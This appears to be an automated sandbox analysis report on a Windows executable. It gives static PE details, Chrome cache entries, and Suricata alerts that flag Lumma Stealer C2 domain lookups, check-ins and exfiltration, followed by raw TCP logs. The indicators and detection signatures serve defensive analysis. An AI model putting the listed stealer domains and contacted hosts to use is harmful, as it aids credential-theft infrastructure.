Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2833
Entropy (8bit):	7.876846206921263
Encrypted:	false
SSDEEP:	48:Kw15hc/Pj2itdgjeVVO/SzBdCvhaHAlJX7XnF/HDoSH8T78atjZeHMBx/F/WssM:J15hc/Pj2mdgjMjusgl5XFD3MoIx9eg
MD5:	18C023BC439B446F91BF942270882422
SHA1:	768D59E3085976DBA252232A65A4AF562675F782
SHA-256:	E0E71ACEF1EFBFAB69A1A60CD8FADDED948D0E47A0A27C59A0BE7033F6A84482
SHA-512:	A95AD7B48596BC0AF23D05D1E58681E5D65E707247F96C5BC088880F4525312A1834A89615A0E33AEA6B066793088A193EC29B5C96EA216F531C443487AE0735
Malicious:	false
Preview:	.PNG........IHDR...@...@......iq.....IDATx.....e.._Osm...,uY.sYI.w.$..........:VjD..!...o%....5$......... (..;~8."......h...r.^/}...\|..qm.O.w..I.m....>..y>.?_.....;_=.b.R4X..4.2....S!.P.m>......*`........@.....O...\,...o..@..RS.5.3.....M..@.....>..\|....2p ......v...-a.9........V..0.X....`(.....TH.i....o:.....'p3.[.Lx.q.1.....XN/j.M...y..+....!r.P........F.6....M.W./".QK.....?...r....f.7.?...7..y@..-` ......f.7..x.......z-......u6D...M.=.6D....`X..>.......`....?..-....s..\..._...Vc.&......rzM...9B....dJp.......\|....@..O....."je...oGL..1.......R!5\.Q.7.......Mb.x.x....)E.u.b9.Ad.<..x.8.L!...8...aV#..\|>.R...9+.....P......~..^...;?.#q......d.G.a`..I...c9..\..Cc',.l.-.......m.H..E......s.s...:.l>....L....u...g#Q..0.<...3.~=b.....TH.....M......K..a..R48....W.[..6...?...3.)..r.WHd8...o(.^.....]..~.8ef49..F......d.QF.zg).,.#.E.-..q..L.....^.u.x.XY....,.......C.i=lJ..c.?.4E=@......Y.r...`......Z.8].....A../.R...5.-.YG1...b.....y..x.".'Y...b1.....K..$..">..

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47520)
Category:	dropped
Size (bytes):	47521
Entropy (8bit):	5.3981340461317835
Encrypted:	false
SSDEEP:	768:11CQfmIG2Y8rHnzH5ei80aszzQhpdldr6F/PG2XvE2L79noBL5o6HBU91KL5Gc05:1a/0HnzH5eJdV0lGYv7f96Hjy
MD5:	7C92EC9D1395055CE0405A32607C7291
SHA1:	4EF0060484503E7A3D005254484D5A7FACF42F27
SHA-256:	A0DDAE0FB79C4A4A66D8613157A0703771FA9BE1A75790FCCF5EEEBAA329788B
SHA-512:	D5FAD8CE3B4B3603A6C48676E3F561437034F469875608FF1795505BFA89853A63767E32A1E65BC541DF18C555F93DB42896AA0C1EBD9B162EFC1899FE2D925B
Malicious:	false
Preview:	"use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Wt(u,o,c,g,h,"next",l)}function h(l){Wt(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	7.996256606726718
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	4kN17cL4Tn.exe
File size:	15'149'493 bytes
MD5:	191294c00be02e5bf0807dc1cf52c53a
SHA1:	5dbfe490dcc65b2107f9bc0461c9e6767463795a
SHA256:	c002664469a48ede06c57b592a27b496bfc3cccb75e3fa468d4b3cf562563fc1
SHA512:	7bbefd4dc19290e454e3f4b08eb5f7faf904639a441d96f74c3973db0302a240192e31cf55c3939c7a70e024199754f084eb68a2ecccc0aea803da6a46025bdc
SSDEEP:	393216:8ZnXkkkXBPkVr/zc5Vk1LJG9+ydIaxbDdVUD5:8ZXJqkVr/zc521LJG9+ydIIbhGD5
TLSH:	56E6330863E80DAEE086BA749B539412DBBABC071772C7BF179116275E233D09E2F715
File Content Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.........B#..,p..,p..,p.:.p..,p.:.p5.,p.:.p..,p<..p..,p<.(q..,p<./q..,p<.)q..,p...p..,p...p..,p...p..,p..-p..,p2.)q..,p2.,q..,p2..p..,

File Icon


Icon Hash:	0e27273f4743136f

Static PE Info

General

Entrypoint:	0x1400266b0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x6640972B [Sun May 12 10:17:15 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	2
File Version Major:	5
File Version Minor:	2
Subsystem Version Major:	5
Subsystem Version Minor:	2
Import Hash:	e8a30656287fe831c9782204ed10cd68

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F11991490C8h
dec eax
add esp, 28h
jmp 00007F1199148A5Fh
int3
int3
dec eax
mov eax, esp
dec eax
mov dword ptr [eax+08h], ebx
dec eax
mov dword ptr [eax+10h], ebp
dec eax
mov dword ptr [eax+18h], esi
dec eax
mov dword ptr [eax+20h], edi
inc ecx
push esi
dec eax
sub esp, 20h
dec ebp
mov edx, dword ptr [ecx+38h]
dec eax
mov esi, edx
dec ebp
mov esi, eax
dec eax
mov ebp, ecx
dec ecx
mov edx, ecx
dec eax
mov ecx, esi
dec ecx
mov edi, ecx
inc ecx
mov ebx, dword ptr [edx]
dec eax
shl ebx, 04h
dec ecx
add ebx, edx
dec esp
lea eax, dword ptr [ebx+04h]
call 00007F1199148023h
mov eax, dword ptr [ebp+04h]
and al, 66h
neg al
mov eax, 00000001h
sbb edx, edx
neg edx
add edx, eax
test dword ptr [ebx+04h], edx
je 00007F1199148BF3h
dec esp
mov ecx, edi
dec ebp
mov eax, esi
dec eax
mov edx, esi
dec eax
mov ecx, ebp
call 00007F119914A8B3h
dec eax
mov ebx, dword ptr [esp+30h]
dec eax
mov ebp, dword ptr [esp+38h]
dec eax
mov esi, dword ptr [esp+40h]
dec eax
mov edi, dword ptr [esp+48h]
dec eax
add esp, 20h
inc ecx
pop esi
ret
int3
int3
int3
dec eax
sub esp, 48h
dec eax
lea ecx, dword ptr [esp+20h]
call 00007F1199147AF3h
dec eax
lea edx, dword ptr [00023B67h]
dec eax
lea ecx, dword ptr [esp+20h]
call 00007F1199149CC2h
int3
jmp 00007F119914FA90h
int3
int3
int3
int3
int3
int3

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x4b1e0	0x34	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x4b214	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x71000	0x5d74	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x6c000	0x2ab4	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x77000	0x938	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x460e0	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x46180	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x3de10	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x3b000	0x4a0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x4a4ac	0x100	.rdata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x398ce	0x39a00	43edabbddfa6948cff2e968fd336a07d	False	0.5457226138828634	data	6.465308419785883	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x3b000	0x1118c	0x11200	53297ea4f69cf70feab0538ecef732e2	False	0.44722285583941607	data	5.215657068009717	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x4d000	0x1ef5c	0x1a00	08eb45cbc6a0e70bd1c0a96a66c4a6d0	False	0.2765925480769231	DOS executable (block device driver o\3050)	3.1766622656728773	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x6c000	0x2ab4	0x2c00	703496d6ceba70b1fe234ccc9c454141	False	0.4807350852272727	data	5.409685184469512	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.didat	0x6f000	0x308	0x400	c445681068e68e0f8df59c5ea517c5e5	False	0.2421875	data	2.786346435110699	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
_RDATA	0x70000	0x15c	0x200	b999e3f72a9a42ebb4d9b8fafa0a18e7	False	0.40625	data	3.3314534700182197	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x71000	0x5d74	0x5e00	2c909dfa0c74b6b184be126af579210d	False	0.611328125	data	6.240754312309093	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x77000	0x938	0xa00	c057cd0b29d094da3cebf433be170d6d	False	0.498828125	data	5.228587706357198	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
PNG	0x71554	0xb45	PNG image data, 93 x 302, 8-bit/color RGB, non-interlaced	English	United States	1.0027729636048528
PNG	0x7209c	0x15a9	PNG image data, 186 x 604, 8-bit/color RGB, non-interlaced	English	United States	0.9363390441839495
RT_ICON	0x73648	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 2835 x 2835 px/m			0.6144465290806754
RT_DIALOG	0x746f0	0x286	data	English	United States	0.5092879256965944
RT_DIALOG	0x74978	0x13a	data	English	United States	0.60828025477707
RT_DIALOG	0x74ab4	0xec	data	English	United States	0.6991525423728814
RT_DIALOG	0x74ba0	0x12e	data	English	United States	0.5927152317880795
RT_DIALOG	0x74cd0	0x338	data	English	United States	0.45145631067961167
RT_DIALOG	0x75008	0x252	data	English	United States	0.5757575757575758
RT_STRING	0x7525c	0x1e2	data	English	United States	0.3900414937759336
RT_STRING	0x75440	0x1cc	data	English	United States	0.4282608695652174
RT_STRING	0x7560c	0x1b8	data	English	United States	0.45681818181818185
RT_STRING	0x757c4	0x146	data	English	United States	0.5153374233128835
RT_STRING	0x7590c	0x46c	data	English	United States	0.3454063604240283
RT_STRING	0x75d78	0x166	data	English	United States	0.49162011173184356
RT_STRING	0x75ee0	0x152	data	English	United States	0.5059171597633136
RT_STRING	0x76034	0x10a	data	English	United States	0.49624060150375937
RT_STRING	0x76140	0xbc	data	English	United States	0.6329787234042553
RT_STRING	0x761fc	0x1c0	data	English	United States	0.5178571428571429
RT_STRING	0x763bc	0x250	data	English	United States	0.44256756756756754
RT_GROUP_ICON	0x7660c	0x14	data			1.1
RT_MANIFEST	0x76620	0x753	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.3957333333333333

Imports

DLL	Import
KERNEL32.dll	LocalFree, GetLastError, SetLastError, FormatMessageW, GetFileType, GetStdHandle, WriteFile, ReadFile, FlushFileBuffers, SetEndOfFile, SetFilePointer, SetFileTime, CloseHandle, CreateFileW, GetCurrentProcessId, CreateDirectoryW, RemoveDirectoryW, SetFileAttributesW, GetFileAttributesW, DeleteFileW, MoveFileW, FindClose, FindFirstFileW, FindNextFileW, GetVersionExW, GetModuleFileNameW, SetCurrentDirectoryW, GetCurrentDirectoryW, GetFullPathNameW, FoldStringW, GetModuleHandleW, FindResourceW, FreeLibrary, GetProcAddress, ExpandEnvironmentStringsW, ExitProcess, SetThreadExecutionState, Sleep, LoadLibraryW, GetSystemDirectoryW, CompareStringW, AllocConsole, FreeConsole, AttachConsole, WriteConsoleW, SystemTimeToTzSpecificLocalTime, TzSpecificLocalTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, FileTimeToSystemTime, GetCPInfo, IsDBCSLeadByte, MultiByteToWideChar, WideCharToMultiByte, GlobalAlloc, LockResource, GlobalLock, GlobalUnlock, GlobalFree, LoadResource, SizeofResource, GetTimeFormatW, GetDateFormatW, GetCurrentProcess, GetExitCodeProcess, WaitForSingleObject, GetLocalTime, GetTickCount, MapViewOfFile, UnmapViewOfFile, CreateFileMappingW, OpenFileMappingW, GetCommandLineW, SetEnvironmentVariableW, GetTempPathW, MoveFileExW, GetLocaleInfoW, GetNumberFormatW, SetFilePointerEx, GetConsoleMode, GetConsoleCP, HeapReAlloc, HeapSize, SetStdHandle, GetProcessHeap, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineA, RaiseException, GetSystemInfo, VirtualProtect, VirtualQuery, LoadLibraryExA, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TerminateProcess, IsProcessorFeaturePresent, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, SetEvent, ResetEvent, WaitForSingleObjectEx, CreateEventW, IsDebuggerPresent, GetStartupInfoW, QueryPerformanceCounter, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, RtlPcToFileHeader, RtlUnwindEx, EncodePointer, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, LoadLibraryExW, QueryPerformanceFrequency, GetModuleHandleExW, GetModuleFileNameA, GetACP, HeapFree, HeapAlloc, GetStringTypeW, LCMapStringW, FindFirstFileExA, FindNextFileA, IsValidCodePage, GetOEMCP
OLEAUT32.dll	SysAllocString, SysFreeString, VariantClear
gdiplus.dll	GdipCloneImage, GdipAlloc, GdipDisposeImage, GdipCreateBitmapFromStream, GdipCreateHBITMAPFromBitmap, GdiplusStartup, GdiplusShutdown, GdipFree

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T09:26:18.605831+0100	2057668	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (processhol .sbs)	1	192.168.2.7	58009	1.1.1.1	53	UDP
2025-01-11T09:26:18.605831+0100	2057697	ET MALWARE Observed DNS Query to Lumma Stealer Domain (processhol .sbs)	1	192.168.2.7	58009	1.1.1.1	53	UDP
2025-01-11T09:26:18.618064+0100	2057658	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (librari-night .sbs)	1	192.168.2.7	64785	1.1.1.1	53	UDP
2025-01-11T09:26:18.628314+0100	2057654	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (befall-sm0ker .sbs)	1	192.168.2.7	53470	1.1.1.1	53	UDP
2025-01-11T09:26:18.639049+0100	2057662	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (p10tgrace .sbs)	1	192.168.2.7	63976	1.1.1.1	53	UDP
2025-01-11T09:26:18.650573+0100	2057666	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (peepburry828 .sbs)	1	192.168.2.7	57767	1.1.1.1	53	UDP
2025-01-11T09:26:18.650573+0100	2057696	ET MALWARE Observed DNS Query to Lumma Stealer Domain (peepburry828 .sbs)	1	192.168.2.7	57767	1.1.1.1	53	UDP
2025-01-11T09:26:18.660162+0100	2057660	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (owner-vacat10n .sbs)	1	192.168.2.7	53118	1.1.1.1	53	UDP
2025-01-11T09:26:18.670989+0100	2057652	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (3xp3cts1aim .sbs)	1	192.168.2.7	61593	1.1.1.1	53	UDP
2025-01-11T09:26:18.670989+0100	2057695	ET MALWARE Observed DNS Query to Lumma Stealer Domain (3xp3cts1aim .sbs)	1	192.168.2.7	61593	1.1.1.1	53	UDP
2025-01-11T09:26:18.681316+0100	2057664	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (p3ar11fter .sbs)	1	192.168.2.7	50900	1.1.1.1	53	UDP
2025-01-11T09:26:18.681316+0100	2057698	ET MALWARE Observed DNS Query to Lumma Stealer Domain (p3ar11fter .sbs)	1	192.168.2.7	50900	1.1.1.1	53	UDP
2025-01-11T09:26:19.347290+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49839	104.102.49.254	443	TCP
2025-01-11T09:26:19.853129+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.7	49839	104.102.49.254	443	TCP
2025-01-11T09:26:20.461674+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49850	104.21.96.1	443	TCP
2025-01-11T09:26:20.868657+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49850	104.21.96.1	443	TCP
2025-01-11T09:26:20.868657+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49850	104.21.96.1	443	TCP
2025-01-11T09:26:21.468700+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49857	104.21.96.1	443	TCP
2025-01-11T09:26:22.026681+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	49857	104.21.96.1	443	TCP
2025-01-11T09:26:22.026681+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49857	104.21.96.1	443	TCP
2025-01-11T09:26:22.753088+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49866	104.21.96.1	443	TCP
2025-01-11T09:26:24.122779+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49876	104.21.96.1	443	TCP
2025-01-11T09:26:25.458894+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49887	104.21.96.1	443	TCP
2025-01-11T09:26:27.373316+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49900	104.21.96.1	443	TCP
2025-01-11T09:26:29.022482+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49913	104.21.96.1	443	TCP
2025-01-11T09:26:29.028785+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	49913	104.21.96.1	443	TCP
2025-01-11T09:26:31.710043+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49930	104.21.96.1	443	TCP
2025-01-11T09:26:32.162697+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49930	104.21.96.1	443	TCP
2025-01-11T09:26:32.975233+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49941	85.239.54.77	443	TCP
2025-01-11T09:26:53.070132+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50019	188.114.96.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 09:25:49.310704947 CET	49671	443	192.168.2.7	204.79.197.203
Jan 11, 2025 09:25:50.935822964 CET	49675	443	192.168.2.7	104.98.116.138
Jan 11, 2025 09:25:50.935827017 CET	49674	443	192.168.2.7	104.98.116.138
Jan 11, 2025 09:25:51.092226982 CET	49672	443	192.168.2.7	104.98.116.138
Jan 11, 2025 09:25:53.326694965 CET	49677	443	192.168.2.7	20.50.201.200
Jan 11, 2025 09:25:53.701261997 CET	49677	443	192.168.2.7	20.50.201.200
Jan 11, 2025 09:25:54.123334885 CET	49671	443	192.168.2.7	204.79.197.203
Jan 11, 2025 09:25:54.451242924 CET	49677	443	192.168.2.7	20.50.201.200
Jan 11, 2025 09:25:55.951268911 CET	49677	443	192.168.2.7	20.50.201.200
Jan 11, 2025 09:25:58.930942059 CET	49677	443	192.168.2.7	20.50.201.200
Jan 11, 2025 09:26:00.547204971 CET	49674	443	192.168.2.7	104.98.116.138
Jan 11, 2025 09:26:00.547224045 CET	49675	443	192.168.2.7	104.98.116.138
Jan 11, 2025 09:26:00.843545914 CET	49672	443	192.168.2.7	104.98.116.138
Jan 11, 2025 09:26:02.508390903 CET	49701	443	192.168.2.7	172.67.188.178
Jan 11, 2025 09:26:02.508403063 CET	443	49701	172.67.188.178	192.168.2.7
Jan 11, 2025 09:26:02.508555889 CET	49701	443	192.168.2.7	172.67.188.178
Jan 11, 2025 09:26:02.509473085 CET	49701	443	192.168.2.7	172.67.188.178
Jan 11, 2025 09:26:02.509485960 CET	443	49701	172.67.188.178	192.168.2.7
Jan 11, 2025 09:26:03.065853119 CET	443	49701	172.67.188.178	192.168.2.7
Jan 11, 2025 09:26:03.066184044 CET	49701	443	192.168.2.7	172.67.188.178
Jan 11, 2025 09:26:03.066205025 CET	443	49701	172.67.188.178	192.168.2.7
Jan 11, 2025 09:26:03.067878008 CET	443	49701	172.67.188.178	192.168.2.7
Jan 11, 2025 09:26:03.067959070 CET	49701	443	192.168.2.7	172.67.188.178
Jan 11, 2025 09:26:03.073071003 CET	49701	443	192.168.2.7	172.67.188.178
Jan 11, 2025 09:26:03.073178053 CET	443	49701	172.67.188.178	192.168.2.7
Jan 11, 2025 09:26:03.073451042 CET	49701	443	192.168.2.7	172.67.188.178
Jan 11, 2025 09:26:03.073462963 CET	443	49701	172.67.188.178	192.168.2.7
Jan 11, 2025 09:26:03.114272118 CET	443	49698	104.98.116.138	192.168.2.7
Jan 11, 2025 09:26:03.114361048 CET	49698	443	192.168.2.7	104.98.116.138
Jan 11, 2025 09:26:03.173801899 CET	443	49701	172.67.188.178	192.168.2.7
Jan 11, 2025 09:26:03.173847914 CET	443	49701	172.67.188.178	192.168.2.7
Jan 11, 2025 09:26:03.173866034 CET	49701	443	192.168.2.7	172.67.188.178
Jan 11, 2025 09:26:03.173873901 CET	443	49701	172.67.188.178	192.168.2.7
Jan 11, 2025 09:26:03.173885107 CET	443	49701	172.67.188.178	192.168.2.7
Jan 11, 2025 09:26:03.173940897 CET	49701	443	192.168.2.7	172.67.188.178
Jan 11, 2025 09:26:03.173954010 CET	443	49701	172.67.188.178	192.168.2.7
Jan 11, 2025 09:26:03.174026012 CET	49701	443	192.168.2.7	172.67.188.178
Jan 11, 2025 09:26:03.174457073 CET	443	49701	172.67.188.178	192.168.2.7
Jan 11, 2025 09:26:03.174680948 CET	443	49701	172.67.188.178	192.168.2.7
Jan 11, 2025 09:26:03.174700022 CET	443	49701	172.67.188.178	192.168.2.7
Jan 11, 2025 09:26:03.174782038 CET	443	49701	172.67.188.178	192.168.2.7
Jan 11, 2025 09:26:03.174787045 CET	49701	443	192.168.2.7	172.67.188.178
Jan 11, 2025 09:26:03.174949884 CET	49701	443	192.168.2.7	172.67.188.178
Jan 11, 2025 09:26:03.175117970 CET	49701	443	192.168.2.7	172.67.188.178
Jan 11, 2025 09:26:03.175139904 CET	443	49701	172.67.188.178	192.168.2.7
Jan 11, 2025 09:26:03.178056955 CET	49713	443	192.168.2.7	172.67.188.178
Jan 11, 2025 09:26:03.178101063 CET	443	49713	172.67.188.178	192.168.2.7
Jan 11, 2025 09:26:03.178180933 CET	49713	443	192.168.2.7	172.67.188.178
Jan 11, 2025 09:26:03.178409100 CET	49713	443	192.168.2.7	172.67.188.178
Jan 11, 2025 09:26:03.178426981 CET	443	49713	172.67.188.178	192.168.2.7
Jan 11, 2025 09:26:03.189308882 CET	49714	443	192.168.2.7	35.190.80.1
Jan 11, 2025 09:26:03.189359903 CET	443	49714	35.190.80.1	192.168.2.7
Jan 11, 2025 09:26:03.189460993 CET	49714	443	192.168.2.7	35.190.80.1
Jan 11, 2025 09:26:03.189595938 CET	49714	443	192.168.2.7	35.190.80.1
Jan 11, 2025 09:26:03.189615965 CET	443	49714	35.190.80.1	192.168.2.7
Jan 11, 2025 09:26:03.664463997 CET	443	49714	35.190.80.1	192.168.2.7
Jan 11, 2025 09:26:03.664834976 CET	49714	443	192.168.2.7	35.190.80.1
Jan 11, 2025 09:26:03.664848089 CET	443	49714	35.190.80.1	192.168.2.7
Jan 11, 2025 09:26:03.666577101 CET	443	49714	35.190.80.1	192.168.2.7
Jan 11, 2025 09:26:03.666661024 CET	49714	443	192.168.2.7	35.190.80.1
Jan 11, 2025 09:26:03.667656898 CET	49714	443	192.168.2.7	35.190.80.1
Jan 11, 2025 09:26:03.667757988 CET	443	49714	35.190.80.1	192.168.2.7
Jan 11, 2025 09:26:03.667826891 CET	49714	443	192.168.2.7	35.190.80.1
Jan 11, 2025 09:26:03.667849064 CET	443	49714	35.190.80.1	192.168.2.7
Jan 11, 2025 09:26:03.717803001 CET	49714	443	192.168.2.7	35.190.80.1
Jan 11, 2025 09:26:03.749155998 CET	443	49713	172.67.188.178	192.168.2.7
Jan 11, 2025 09:26:03.752939939 CET	49713	443	192.168.2.7	172.67.188.178
Jan 11, 2025 09:26:03.753005981 CET	443	49713	172.67.188.178	192.168.2.7
Jan 11, 2025 09:26:03.753499985 CET	443	49713	172.67.188.178	192.168.2.7
Jan 11, 2025 09:26:03.758579016 CET	49713	443	192.168.2.7	172.67.188.178
Jan 11, 2025 09:26:03.758707047 CET	443	49713	172.67.188.178	192.168.2.7
Jan 11, 2025 09:26:03.758721113 CET	49713	443	192.168.2.7	172.67.188.178
Jan 11, 2025 09:26:03.793220043 CET	443	49714	35.190.80.1	192.168.2.7
Jan 11, 2025 09:26:03.793454885 CET	443	49714	35.190.80.1	192.168.2.7
Jan 11, 2025 09:26:03.793539047 CET	49714	443	192.168.2.7	35.190.80.1
Jan 11, 2025 09:26:03.793751955 CET	49714	443	192.168.2.7	35.190.80.1
Jan 11, 2025 09:26:03.793772936 CET	443	49714	35.190.80.1	192.168.2.7
Jan 11, 2025 09:26:03.793833971 CET	49714	443	192.168.2.7	35.190.80.1
Jan 11, 2025 09:26:03.793833971 CET	49714	443	192.168.2.7	35.190.80.1
Jan 11, 2025 09:26:03.794596910 CET	49720	443	192.168.2.7	35.190.80.1
Jan 11, 2025 09:26:03.794646025 CET	443	49720	35.190.80.1	192.168.2.7
Jan 11, 2025 09:26:03.794715881 CET	49720	443	192.168.2.7	35.190.80.1
Jan 11, 2025 09:26:03.799374104 CET	443	49713	172.67.188.178	192.168.2.7
Jan 11, 2025 09:26:03.800066948 CET	49713	443	192.168.2.7	172.67.188.178
Jan 11, 2025 09:26:03.800179958 CET	49671	443	192.168.2.7	204.79.197.203
Jan 11, 2025 09:26:03.801857948 CET	49720	443	192.168.2.7	35.190.80.1
Jan 11, 2025 09:26:03.801892042 CET	443	49720	35.190.80.1	192.168.2.7
Jan 11, 2025 09:26:03.864917040 CET	443	49713	172.67.188.178	192.168.2.7
Jan 11, 2025 09:26:03.865016937 CET	443	49713	172.67.188.178	192.168.2.7
Jan 11, 2025 09:26:03.865046024 CET	443	49713	172.67.188.178	192.168.2.7
Jan 11, 2025 09:26:03.865075111 CET	443	49713	172.67.188.178	192.168.2.7
Jan 11, 2025 09:26:03.865077972 CET	49713	443	192.168.2.7	172.67.188.178
Jan 11, 2025 09:26:03.865113974 CET	443	49713	172.67.188.178	192.168.2.7
Jan 11, 2025 09:26:03.865134001 CET	49713	443	192.168.2.7	172.67.188.178
Jan 11, 2025 09:26:03.865150928 CET	443	49713	172.67.188.178	192.168.2.7
Jan 11, 2025 09:26:03.865180016 CET	443	49713	172.67.188.178	192.168.2.7
Jan 11, 2025 09:26:03.865192890 CET	49713	443	192.168.2.7	172.67.188.178
Jan 11, 2025 09:26:03.865202904 CET	443	49713	172.67.188.178	192.168.2.7
Jan 11, 2025 09:26:03.865236998 CET	49713	443	192.168.2.7	172.67.188.178
